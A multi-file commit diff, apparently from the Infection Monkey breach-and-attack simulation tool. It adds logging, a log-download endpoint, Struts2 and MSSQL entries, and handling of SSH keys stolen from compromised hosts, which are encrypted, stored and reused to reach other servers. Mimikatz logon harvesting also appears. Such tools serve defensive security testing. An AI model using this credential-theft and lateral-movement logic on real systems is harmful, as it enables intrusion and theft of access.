usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
or info['public_key']]
return usr_info

View File

@ -1,6 +1,7 @@
import logging
from . import InfoCollector
from SSH_info_collector import SSHCollector
__author__ = 'uri'
@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector):
self.get_process_list()
self.get_network_info()
self.get_azure_info()
self.info['ssh_info'] = SSHCollector.get_info()
return self.info

View File

@ -24,7 +24,7 @@ class MimikatzCollector(object):
self._collect = collect_proto(("collect", self._dll))
self._get = get_proto(("get", self._dll))
self._isInit = True
except StandardError:
except Exception:
LOG.exception("Error initializing mimikatz collector")
def get_logon_info(self):
@ -71,7 +71,7 @@ class MimikatzCollector(object):
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
return logon_data_dictionary
except StandardError:
except Exception:
LOG.exception("Error getting logon info")
return {}

View File

@ -1,45 +0,0 @@
# -*- coding: UTF-8 -*-
# NOTE: Launch all tests with `nosetests` command from infection_monkey dir.
import json
import unittest
from mock import Mock, patch
import control
from config import GUID
class ReportConfigErrorTestCase(unittest.TestCase):
"""
When unknown config variable received form the island server, skip it and report config
error back to the server.
"""
config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}}))
def teardown(self):
patch.stopall()
def test_config(self):
patch('control.requests.patch', Mock()).start()
patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start()
# GIVEN the server with uknown config variable
patch('control.requests.get', Mock(return_value=self.config_response)).start()
# WHEN monkey tries to load config from server
control.ControlClient.load_control_config()
# THEN she reports config error back to the server
control.requests.patch.assert_called_once_with(
"https://127.0.0.1:123/api/monkey/%s" % GUID,
data=json.dumps({'config_error': True}),
headers={'content-type': 'application/json'},
verify=False,
proxies=control.ControlClient.proxies)
if __name__ == '__main__':
unittest.main()

View File

@ -1,4 +1,3 @@
from ftp import FTPServer
from http import HTTPServer
__author__ = 'hoffer'

View File

@ -1,174 +0,0 @@
import socket, threading, time
import StringIO
__author__ = 'hoffer'
class FTPServer(threading.Thread):
def __init__(self, local_ip, local_port, files):
self.files=files
self.cwd='/'
self.mode='I'
self.rest=False
self.pasv_mode=False
self.local_ip = local_ip
self.local_port = local_port
threading.Thread.__init__(self)
def run(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.bind((self.local_ip,self.local_port))
self.sock.listen(1)
self.conn, self.addr = self.sock.accept()
self.conn.send('220 Welcome!\r\n')
while True:
if 0 == len(self.files):
break
cmd=self.conn.recv(256)
if not cmd: break
else:
try:
func=getattr(self,cmd[:4].strip().upper())
func(cmd)
except Exception,e:
self.conn.send('500 Sorry.\r\n')
break
self.conn.close()
self.sock.close()
def SYST(self,cmd):
self.conn.send('215 UNIX Type: L8\r\n')
def OPTS(self,cmd):
if cmd[5:-2].upper()=='UTF8 ON':
self.conn.send('200 OK.\r\n')
else:
self.conn.send('451 Sorry.\r\n')
def USER(self,cmd):
self.conn.send('331 OK.\r\n')
def PASS(self,cmd):
self.conn.send('230 OK.\r\n')
def QUIT(self,cmd):
self.conn.send('221 Goodbye.\r\n')
def NOOP(self,cmd):
self.conn.send('200 OK.\r\n')
def TYPE(self,cmd):
self.mode=cmd[5]
self.conn.send('200 Binary mode.\r\n')
def CDUP(self,cmd):
self.conn.send('200 OK.\r\n')
def PWD(self,cmd):
self.conn.send('257 \"%s\"\r\n' % self.cwd)
def CWD(self,cmd):
self.conn.send('250 OK.\r\n')
def PORT(self,cmd):
if self.pasv_mode:
self.servsock.close()
self.pasv_mode = False
l = cmd[5:].split(',')
self.dataAddr='.'.join(l[:4])
self.dataPort=(int(l[4])<<8)+int(l[5])
self.conn.send('200 Get port.\r\n')
def PASV(self,cmd):
self.pasv_mode = True
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.servsock.bind((local_ip,0))
self.servsock.listen(1)
ip, port = self.servsock.getsockname()
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
def start_datasock(self):
if self.pasv_mode:
self.datasock, addr = self.servsock.accept()
else:
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
self.datasock.connect((self.dataAddr,self.dataPort))
def stop_datasock(self):
self.datasock.close()
if self.pasv_mode:
self.servsock.close()
def LIST(self,cmd):
self.conn.send('150 Here comes the directory listing.\r\n')
self.start_datasock()
for fn in self.files.keys():
k=self.toListItem(fn)
self.datasock.send(k+'\r\n')
self.stop_datasock()
self.conn.send('226 Directory send OK.\r\n')
def toListItem(self,fn):
fullmode='rwxrwxrwx'
mode = ''
d = '-'
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
def MKD(self,cmd):
self.conn.send('257 Directory created.\r\n')
def RMD(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def DELE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def SIZE(self,cmd):
self.conn.send('450 Not allowed.\r\n')
def RNFR(self,cmd):
self.conn.send('350 Ready.\r\n')
def RNTO(self,cmd):
self.conn.send('250 File renamed.\r\n')
def REST(self,cmd):
self.pos=int(cmd[5:-2])
self.rest=True
self.conn.send('250 File position reseted.\r\n')
def RETR(self,cmd):
fn = cmd[5:-2]
if self.mode=='I':
fi=self.files[fn]
else:
fi=self.files[fn]
self.conn.send('150 Opening data connection.\r\n')
if self.rest:
fi.seek(self.pos)
self.rest=False
data= fi.read(1024)
self.start_datasock()
while data:
self.datasock.send(data)
data=fi.read(1024)
fi.close()
del self.files[fn]
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')
def STOR(self,cmd):
fn = cmd[5:-2]
fo = StringIO.StringIO()
self.conn.send('150 Opening data connection.\r\n')
self.start_datasock()
while True:
data=self.datasock.recv(1024)
if not data: break
fo.write(data)
fo.seek(0)
self.stop_datasock()
self.conn.send('226 Transfer complete.\r\n')

View File

@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
address = (u.hostname, u.port or 443)
try:
conn = socket.create_connection(address)
except socket.error, e:
except socket.error as e:
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
self.send_error(504) # 504 Gateway Timeout
return

View File

@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase):
try:
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
dest.connect((self.dest_host, self.dest_port))
except socket.error, ex:
except socket.error as ex:
source.close()
dest.close()
continue

View File

@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun
from cc.resources.edge import Edge
from cc.resources.local_run import LocalRun
from cc.resources.log import Log
from cc.resources.island_logs import IslandLog
from cc.resources.monkey import Monkey
from cc.resources.monkey_configuration import MonkeyConfiguration
from cc.resources.monkey_download import MonkeyDownload
@ -104,5 +105,6 @@ def init_app(mongo_url):
api.add_resource(Report, '/api/report', '/api/report/')
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
return app

View File

@ -1,7 +1,11 @@
import json
import logging
import standard
import aws
logger = logging.getLogger(__name__)
ENV_DICT = {
'standard': standard.StandardEnvironment,
'aws': aws.AwsEnvironment
@ -18,6 +22,7 @@ def load_env_from_file():
try:
__env_type = load_env_from_file()
env = ENV_DICT[__env_type]()
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
except Exception:
print('Failed initializing environment: %s' % __env_type)
logger.error('Failed initializing environment', exc_info=True)
raise

View File

@ -0,0 +1,26 @@
import os
import json
import logging.config
__author__ = 'Maor.Rayzin'
def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'):
"""
Setup the logging configuration
:param default_path: the default log configuration file path
:param default_level: Default level to log from
:param env_key: SYS ENV key to use for external configuration file path
:return:
"""
path = default_path
value = os.getenv(env_key, None)
if value:
path = value
if os.path.exists(path):
with open(path, 'rt') as f:
config = json.load(f)
logging.config.dictConfig(config)
else:
logging.basicConfig(level=default_level)

View File

@ -0,0 +1,33 @@
{
"version": 1,
"disable_existing_loggers": false,
"formatters": {
"simple": {
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
}
},
"handlers": {
"console": {
"class": "logging.StreamHandler",
"level": "DEBUG",
"formatter": "simple",
"stream": "ext://sys.stdout"
},
"info_file_handler": {
"class": "logging.handlers.RotatingFileHandler",
"level": "INFO",
"formatter": "simple",
"filename": "info.log",
"maxBytes": 10485760,
"backupCount": 20,
"encoding": "utf8"
}
},
"root": {
"level": "INFO",
"handlers": ["console", "info_file_handler"]
}
}

View File

@ -2,8 +2,8 @@ from __future__ import print_function # In python 2.7
import os
import sys
import time
import logging
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
PARENT_PATH = os.path.dirname(BASE_PATH)
@ -14,12 +14,18 @@ if PARENT_PATH not in sys.path:
if BASE_PATH not in sys.path:
sys.path.insert(0, BASE_PATH)
from cc.island_logger import json_setup_logging
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
logger = logging.getLogger(__name__)
from cc.app import init_app
from cc.utils import local_ip_addresses
from cc.environment.environment import env
from cc.database import is_db_server_up
if __name__ == '__main__':
def main():
from tornado.wsgi import WSGIContainer
from tornado.httpserver import HTTPServer
from tornado.ioloop import IOLoop
@ -27,7 +33,7 @@ if __name__ == '__main__':
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
while not is_db_server_up(mongo_url):
print('Waiting for MongoDB server')
logger.info('Waiting for MongoDB server')
time.sleep(1)
app = init_app(mongo_url)
@ -38,6 +44,10 @@ if __name__ == '__main__':
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
http_server.listen(env.get_island_port())
print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
logger.info(
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
IOLoop.instance().start()
if __name__ == '__main__':
main()

View File

@ -1,3 +1,4 @@
import logging
from flask import request, jsonify
import flask_restful
@ -5,6 +6,8 @@ from cc.services.node import NodeService
__author__ = 'itay.mizeretz'
logger = logging.getLogger(__name__)
class ClientRun(flask_restful.Resource):
def get(self):
@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource):
if monkey is not None:
is_monkey_running = not monkey["dead"]
else:
logger.info("Monkey is not running")
is_monkey_running = False
return jsonify(is_running=is_monkey_running)

View File

@ -0,0 +1,19 @@
import logging
import flask_restful
from cc.auth import jwt_required
from cc.services.island_logs import IslandLogService
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLog(flask_restful.Resource):
@jwt_required()
def get(self):
try:
return IslandLogService.get_log_file()
except Exception as e:
logger.error('Monkey Island logs failed to download', exc_info=True)

View File

@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak'
import logging
logger = logging.getLogger(__name__)
def run_local_monkey():
import platform
@ -32,6 +34,7 @@ def run_local_monkey():
copyfile(monkey_path, target_path)
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
except Exception as exc:
logger.error('Copy file failed', exc_info=True)
return False, "Copy file failed: %s" % exc
# run the monkey
@ -41,6 +44,7 @@ def run_local_monkey():
args = "".join(args)
pid = subprocess.Popen(args, shell=True).pid
except Exception as exc:
logger.error('popen failed', exc_info=True)
return False, "popen failed: %s" % exc
return True, "pis: %s" % pid

View File

@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource):
@jwt_required()
def post(self):
config_json = json.loads(request.data)
if config_json.has_key('reset'):
if 'reset' in config_json:
ConfigService.reset_config()
else:
ConfigService.update_config(config_json, should_encrypt=True)

View File

@ -1,3 +1,4 @@
import logging
import json
import os
@ -6,6 +7,8 @@ import flask_restful
__author__ = 'Barak'
logger = logging.getLogger(__name__)
MONKEY_DOWNLOADS = [
{
@ -18,6 +21,11 @@ MONKEY_DOWNLOADS = [
'machine': 'i686',
'filename': 'monkey-linux-32',
},
{
'type': 'linux',
'machine': 'i386',
'filename': 'monkey-linux-32',
},
{
'type': 'linux',
'filename': 'monkey-linux-64',
@ -32,6 +40,16 @@ MONKEY_DOWNLOADS = [
'machine': 'amd64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '64',
'filename': 'monkey-windows-64.exe',
},
{
'type': 'windows',
'machine': '32',
'filename': 'monkey-windows-32.exe',
},
{
'type': 'windows',
'filename': 'monkey-windows-32.exe',
@ -42,7 +60,10 @@ MONKEY_DOWNLOADS = [
def get_monkey_executable(host_os, machine):
for download in MONKEY_DOWNLOADS:
if host_os == download.get('type') and machine == download.get('machine'):
logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine))
return download
logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}'
.format(host_os, machine))
return None

View File

@ -1,4 +1,5 @@
from datetime import datetime
import logging
import flask_restful
from flask import request, make_response, jsonify
@ -12,6 +13,8 @@ from cc.utils import local_ip_addresses
__author__ = 'Barak'
logger = logging.getLogger(__name__)
class Root(flask_restful.Resource):
@ -42,6 +45,7 @@ class Root(flask_restful.Resource):
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()
logger.info('DB was reset')
return jsonify(status='OK')
@staticmethod
@ -50,6 +54,7 @@ class Root(flask_restful.Resource):
mongo.db.monkey.update({'dead': False}, {'$set': {'config.alive': False, 'modifytime': datetime.now()}},
upsert=False,
multi=True)
logger.info('Kill all monkeys was called')
return jsonify(status='OK')
@staticmethod

View File

@ -1,4 +1,5 @@
import json
import logging
import traceback
import copy
from datetime import datetime
@ -17,6 +18,9 @@ from cc.encryptor import encryptor
__author__ = 'Barak'
logger = logging.getLogger(__name__)
class Telemetry(flask_restful.Resource):
@jwt_required()
def get(self, **kw):
@ -52,10 +56,9 @@ class Telemetry(flask_restful.Resource):
if telem_type in TELEM_PROCESS_DICT:
TELEM_PROCESS_DICT[telem_type](telemetry_json)
else:
print('Got unknown type of telemetry: %s' % telem_type)
except StandardError as ex:
print("Exception caught while processing telemetry: %s" % str(ex))
traceback.print_exc()
logger.info('Got unknown type of telemetry: %s' % telem_type)
except Exception as ex:
logger.error("Exception caught while processing telemetry", exc_info=True)
telem_id = mongo.db.telemetry.insert(telemetry_json)
return mongo.db.telemetry.find_one_or_404({"_id": telem_id})
@ -130,7 +133,7 @@ class Telemetry(flask_restful.Resource):
for attempt in telemetry_json['data']['attempts']:
if attempt['result']:
found_creds = {'user': attempt['user']}
for field in ['password', 'lm_hash', 'ntlm_hash']:
for field in ['password', 'lm_hash', 'ntlm_hash', 'ssh_key']:
if len(attempt[field]) != 0:
found_creds[field] = attempt[field]
NodeService.add_credentials_to_node(edge['to'], found_creds)
@ -167,12 +170,24 @@ class Telemetry(flask_restful.Resource):
@staticmethod
def process_system_info_telemetry(telemetry_json):
if 'ssh_info' in telemetry_json['data']:
ssh_info = telemetry_json['data']['ssh_info']
Telemetry.encrypt_system_info_ssh_keys(ssh_info)
if telemetry_json['data']['network_info']['networks']:
# We use user_name@machine_ip as the name of the ssh key stolen, thats why we need ip from telemetry
Telemetry.add_ip_to_ssh_keys(telemetry_json['data']['network_info']['networks'][0], ssh_info)
Telemetry.add_system_info_ssh_keys_to_config(ssh_info)
if 'credentials' in telemetry_json['data']:
creds = telemetry_json['data']['credentials']
Telemetry.encrypt_system_info_creds(creds)
Telemetry.add_system_info_creds_to_config(creds)
Telemetry.replace_user_dot_with_comma(creds)
@staticmethod
def add_ip_to_ssh_keys(ip, ssh_info):
for key in ssh_info:
key['ip'] = ip['addr']
@staticmethod
def process_trace_telemetry(telemetry_json):
# Nothing to do
@ -193,6 +208,13 @@ class Telemetry(flask_restful.Resource):
# this encoding is because we might run into passwords which are not pure ASCII
creds[user][field] = encryptor.enc(creds[user][field].encode('utf-8'))
@staticmethod
def encrypt_system_info_ssh_keys(ssh_info):
for idx, user in enumerate(ssh_info):
for field in ['public_key', 'private_key', 'known_hosts']:
if ssh_info[idx][field]:
ssh_info[idx][field] = encryptor.enc(ssh_info[idx][field].encode('utf-8'))
@staticmethod
def add_system_info_creds_to_config(creds):
for user in creds:
@ -204,6 +226,15 @@ class Telemetry(flask_restful.Resource):
if 'ntlm_hash' in creds[user]:
ConfigService.creds_add_ntlm_hash(creds[user]['ntlm_hash'])
@staticmethod
def add_system_info_ssh_keys_to_config(ssh_info):
for user in ssh_info:
ConfigService.creds_add_username(user['name'])
# Public key is useless without private key
if user['public_key'] and user['private_key']:
ConfigService.ssh_add_keys(user['public_key'], user['private_key'],
user['name'], user['ip'])
@staticmethod
def encrypt_exploit_creds(telemetry_json):
attempts = telemetry_json['data']['attempts']

View File

@ -1,7 +1,9 @@
import copy
import collections
import functools
import logging
from jsonschema import Draft4Validator, validators
from six import string_types
from cc.database import mongo
from cc.encryptor import encryptor
@ -10,6 +12,8 @@ from cc.utils import local_ip_addresses
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
WARNING_SIGN = u" \u26A0"
SCHEMA = {
@ -76,6 +80,13 @@ SCHEMA = {
],
"title": "ElasticGroovy Exploiter"
},
{
"type": "string",
"enum": [
"Struts2Exploiter"
],
"title": "Struts2 Exploiter"
}
]
},
"finger_classes": {
@ -117,6 +128,14 @@ SCHEMA = {
],
"title": "MySQLFinger"
},
{
"type": "string",
"enum": [
"MSSQLFinger"
],
"title": "MSSQLFinger"
},
{
"type": "string",
"enum": [
@ -388,6 +407,7 @@ SCHEMA = {
"PingScanner",
"HTTPFinger",
"MySQLFinger",
"MSSQLFinger",
"ElasticFinger"
],
"description": "Determines which classes to use for fingerprinting"
@ -529,6 +549,16 @@ SCHEMA = {
},
"default": [],
"description": "List of NTLM hashes to use on exploits using credentials"
},
"exploit_ssh_keys": {
"title": "SSH key pairs list",
"type": "array",
"uniqueItems": True,
"default": [],
"items": {
"type": "string"
},
"description": "List of SSH key pairs to use, when trying to ssh into servers"
}
}
},
@ -570,7 +600,7 @@ SCHEMA = {
"type": "string"
},
"default": [
"41.50.73.31:5000"
"192.0.2.0:5000"
],
"description": "List of command servers to try and communicate with (format is <ip>:<port>)"
},
@ -592,7 +622,7 @@ SCHEMA = {
"current_server": {
"title": "Current server",
"type": "string",
"default": "41.50.73.31:5000",
"default": "192.0.2.0:5000",
"description": "The current command server the monkey is communicating with"
}
}
@ -620,7 +650,8 @@ SCHEMA = {
"SSHExploiter",
"ShellShockExploiter",
"SambaCryExploiter",
"ElasticGroovyExploiter"
"ElasticGroovyExploiter",
"Struts2Exploiter"
],
"description":
"Determines which exploits to use. " + WARNING_SIGN
@ -825,7 +856,8 @@ ENCRYPTED_CONFIG_ARRAYS = \
[
['basic', 'credentials', 'exploit_password_list'],
['internal', 'exploits', 'exploit_lm_hash_list'],
['internal', 'exploits', 'exploit_ntlm_hash_list']
['internal', 'exploits', 'exploit_ntlm_hash_list'],
['internal', 'exploits', 'exploit_ssh_keys']
]
@ -913,11 +945,24 @@ class ConfigService:
def creds_add_ntlm_hash(ntlm_hash):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ntlm_hash_list', ntlm_hash)
@staticmethod
def ssh_add_keys(public_key, private_key, user, ip):
if not ConfigService.ssh_key_exists(ConfigService.get_config_value(['internal', 'exploits', 'exploit_ssh_keys'],
False, False), user, ip):
ConfigService.add_item_to_config_set('internal.exploits.exploit_ssh_keys',
{"public_key": public_key, "private_key": private_key,
"user": user, "ip": ip})
@staticmethod
def ssh_key_exists(keys, user, ip):
return [key for key in keys if key['user'] == user and key['ip'] == ip]
@staticmethod
def update_config(config_json, should_encrypt):
if should_encrypt:
ConfigService.encrypt_config(config_json)
mongo.db.config.update({'name': 'newconfig'}, {"$set": config_json}, upsert=True)
logger.info('monkey config was updated')
@staticmethod
def init_default_config():
@ -933,6 +978,7 @@ class ConfigService:
config = copy.deepcopy(ConfigService.default_config)
if should_encrypt:
ConfigService.encrypt_config(config)
logger.info("Default config was called")
return config
@staticmethod
@ -946,6 +992,7 @@ class ConfigService:
config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False)
logger.info('Monkey config reset was called')
@staticmethod
def set_server_ips_in_config(config):
@ -962,6 +1009,7 @@ class ConfigService:
initial_config['name'] = 'initial'
initial_config.pop('_id')
mongo.db.config.insert(initial_config)
logger.info('Monkey config was inserted to mongo and saved')
@staticmethod
def _extend_config_with_default(validator_class):
@ -1003,8 +1051,12 @@ class ConfigService:
"""
keys = [config_arr_as_array[2] for config_arr_as_array in ENCRYPTED_CONFIG_ARRAYS]
for key in keys:
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], basestring):
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
if isinstance(flat_config[key], collections.Sequence) and not isinstance(flat_config[key], string_types):
# Check if we are decrypting ssh key pair
if flat_config[key] and isinstance(flat_config[key][0], dict) and 'public_key' in flat_config[key][0]:
flat_config[key] = [ConfigService.decrypt_ssh_key_pair(item) for item in flat_config[key]]
else:
flat_config[key] = [encryptor.dec(item) for item in flat_config[key]]
else:
flat_config[key] = encryptor.dec(flat_config[key])
return flat_config
@ -1017,4 +1069,19 @@ class ConfigService:
config_arr = config_arr[config_key_part]
for i in range(len(config_arr)):
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
@staticmethod
def decrypt_ssh_key_pair(pair, encrypt=False):
if encrypt:
pair['public_key'] = encryptor.enc(pair['public_key'])
pair['private_key'] = encryptor.enc(pair['private_key'])
else:
pair['public_key'] = encryptor.dec(pair['public_key'])
pair['private_key'] = encryptor.dec(pair['private_key'])
return pair

View File

@ -0,0 +1,32 @@
import logging
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
class IslandLogService:
def __init__(self):
pass
@staticmethod
def get_log_file():
"""
This static function is a helper function for the monkey island log download function.
It finds the logger handlers and checks if one of them is a fileHandler of any kind by checking if the handler
has the property handler.baseFilename.
:return:
a dict with the log file content.
"""
logger_handlers = logger.parent.handlers
for handler in logger_handlers:
if hasattr(handler, 'baseFilename'):
logger.info('Log file found: {0}'.format(handler.baseFilename))
log_file_path = handler.baseFilename
with open(log_file_path, 'rt') as f:
log_file = f.read()
return {
'log_file': log_file
}
logger.warning('No log file could be found, check logger config.')
return None

View File

@ -2,8 +2,11 @@ import itertools
import functools
import ipaddress
import logging
from enum import Enum
from six import text_type
from cc.database import mongo
from cc.services.config import ConfigService
from cc.services.edge import EdgeService
@ -14,6 +17,9 @@ from common.network.network_range import NetworkRange
__author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
class ReportService:
def __init__(self):
pass
@ -28,6 +34,7 @@ class ReportService:
'ElasticGroovyExploiter': 'Elastic Groovy Exploiter',
'Ms08_067_Exploiter': 'Conficker Exploiter',
'ShellShockExploiter': 'ShellShock Exploiter',
'Struts2Exploiter': 'Struts2 Exploiter'
}
class ISSUES_DICT(Enum):
@ -38,6 +45,8 @@ class ReportService:
SHELLSHOCK = 4
CONFICKER = 5
AZURE = 6
STOLEN_SSH_KEYS = 7
STRUTS2 = 8
class WARNINGS_DICT(Enum):
CROSS_SEGMENT = 0
@ -81,6 +90,8 @@ class ReportService:
creds = ReportService.get_azure_creds()
machines = set([instance['origin'] for instance in creds])
logger.info('Azure issues generated for reporting')
return [
{
'type': 'azure_password',
@ -107,6 +118,8 @@ class ReportService:
}
for node in nodes]
logger.info('Scanned nodes generated for reporting')
return nodes
@staticmethod
@ -128,6 +141,8 @@ class ReportService:
}
for monkey in exploited]
logger.info('Exploited nodes generated for reporting')
return exploited
@staticmethod
@ -151,6 +166,28 @@ class ReportService:
'origin': origin
}
)
logger.info('Stolen creds generated for reporting')
return creds
@staticmethod
def get_ssh_keys():
"""
Return private ssh keys found as credentials
:return: List of credentials
"""
creds = []
for telem in mongo.db.telemetry.find(
{'telem_type': 'system_info_collection', 'data.ssh_info': {'$exists': True}},
{'data.ssh_info': 1, 'monkey_guid': 1}
):
origin = NodeService.get_monkey_by_guid(telem['monkey_guid'])['hostname']
if telem['data']['ssh_info']:
# Pick out all ssh keys not yet included in creds
ssh_keys = [{'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} for key_pair in telem['data']['ssh_info']
if key_pair['private_key'] and {'username': key_pair['name'], 'type': 'Clear SSH private key',
'origin': origin} not in creds]
creds.extend(ssh_keys)
return creds
@staticmethod
@ -171,6 +208,8 @@ class ReportService:
azure_leaked_users = [{'username': user.replace(',', '.'), 'type': 'Clear Password',
'origin': origin} for user in azure_users]
creds.extend(azure_leaked_users)
logger.info('Azure machines creds generated for reporting')
return creds
@staticmethod
@ -186,9 +225,12 @@ class ReportService:
for attempt in exploit['data']['attempts']:
if attempt['result']:
processed_exploit['username'] = attempt['user']
if len(attempt['password']) > 0:
if attempt['password']:
processed_exploit['type'] = 'password'
processed_exploit['password'] = attempt['password']
elif attempt['ssh_key']:
processed_exploit['type'] = 'ssh_key'
processed_exploit['ssh_key'] = attempt['ssh_key']
else:
processed_exploit['type'] = 'hash'
return processed_exploit
@ -214,8 +256,12 @@ class ReportService:
@staticmethod
def process_ssh_exploit(exploit):
processed_exploit = ReportService.process_general_creds_exploit(exploit)
processed_exploit['type'] = 'ssh'
return processed_exploit
# Check if it's ssh key or ssh login credentials exploit
if processed_exploit['type'] == 'ssh_key':
return processed_exploit
else:
processed_exploit['type'] = 'ssh'
return processed_exploit
@staticmethod
def process_rdp_exploit(exploit):
@ -250,6 +296,12 @@ class ReportService:
processed_exploit['paths'] = ['/' + url.split(':')[2].split('/')[1] for url in urls]
return processed_exploit
@staticmethod
def process_struts2_exploit(exploit):
processed_exploit = ReportService.process_general_exploit(exploit)
processed_exploit['type'] = 'struts2'
return processed_exploit
@staticmethod
def process_exploit(exploit):
exploiter_type = exploit['data']['exploiter']
@ -262,6 +314,7 @@ class ReportService:
'ElasticGroovyExploiter': ReportService.process_elastic_exploit,
'Ms08_067_Exploiter': ReportService.process_conficker_exploit,
'ShellShockExploiter': ReportService.process_shellshock_exploit,
'Struts2Exploiter': ReportService.process_struts2_exploit
}
return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@ -286,7 +339,7 @@ class ReportService:
return \
[
ipaddress.ip_interface(unicode(network['addr'] + '/' + network['netmask'])).network
ipaddress.ip_interface(text_type(network['addr'] + '/' + network['netmask'])).network
for network in network_info['data']['network_info']['networks']
]
@ -299,7 +352,7 @@ class ReportService:
monkey_subnets = ReportService.get_monkey_subnets(monkey['guid'])
for subnet in monkey_subnets:
for ip in island_ips:
if ipaddress.ip_address(unicode(ip)) in subnet:
if ipaddress.ip_address(text_type(ip)) in subnet:
found_good_ip = True
break
if found_good_ip:
@ -451,10 +504,11 @@ class ReportService:
@staticmethod
def get_issues():
issues = ReportService.get_exploits() + ReportService.get_tunnels() +\
ISSUE_GENERATORS = [
ReportService.get_exploits,
ReportService.get_tunnels,
ReportService.get_island_cross_segment_issues,
ReportService.get_cross_segment_issues,
ReportService.get_azure_issues
]
@ -466,6 +520,7 @@ class ReportService:
if machine not in issues_dict:
issues_dict[machine] = []
issues_dict[machine].append(issue)
logger.info('Issues generated for reporting')
return issues_dict
@staticmethod
@ -519,8 +574,12 @@ class ReportService:
issues_byte_array[ReportService.ISSUES_DICT.CONFICKER.value] = True
elif issue['type'] == 'azure_password':
issues_byte_array[ReportService.ISSUES_DICT.AZURE.value] = True
elif issue['type'] == 'ssh_key':
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_SSH_KEYS.value] = True
elif issue['type'] == 'struts2':
issues_byte_array[ReportService.ISSUES_DICT.STRUTS2.value] = True
elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
issue['username'] in config_users:
issue['username'] in config_users or issue['type'] == 'ssh':
issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True
elif issue['type'].endswith('_pth') or issue['type'].endswith('_password'):
issues_byte_array[ReportService.ISSUES_DICT.STOLEN_CREDS.value] = True
@ -556,6 +615,7 @@ class ReportService:
{'name': 'generated_report'},
{'$set': {'value': True}},
upsert=True)
logger.info("Report marked as generated.")
@staticmethod
def get_report():
@ -586,6 +646,7 @@ class ReportService:
'exploited': ReportService.get_exploited(),
'stolen_creds': ReportService.get_stolen_creds(),
'azure_passwords': ReportService.get_azure_creds(),
'ssh_keys': ReportService.get_ssh_keys()
},
'recommendations':
{

View File

@ -1,7 +1,4 @@
{
"presets": [
"es2015",
"stage-0",
"react"
]
"presets": ["es2015", "stage-0", "react"]
}

View File

@ -1,43 +0,0 @@
'use strict';
let path = require('path');
let defaultSettings = require('./defaults');
// Additional npm or bower modules to include in builds
// Add all foreign plugins you may need into this array
// @example:
// let npmBase = path.join(__dirname, '../node_modules');
// let additionalPaths = [ path.join(npmBase, 'react-bootstrap') ];
let additionalPaths = [];
module.exports = {
additionalPaths: additionalPaths,
port: defaultSettings.port,
debug: true,
devtool: 'eval',
output: {
path: path.join(__dirname, '/../dist/assets'),
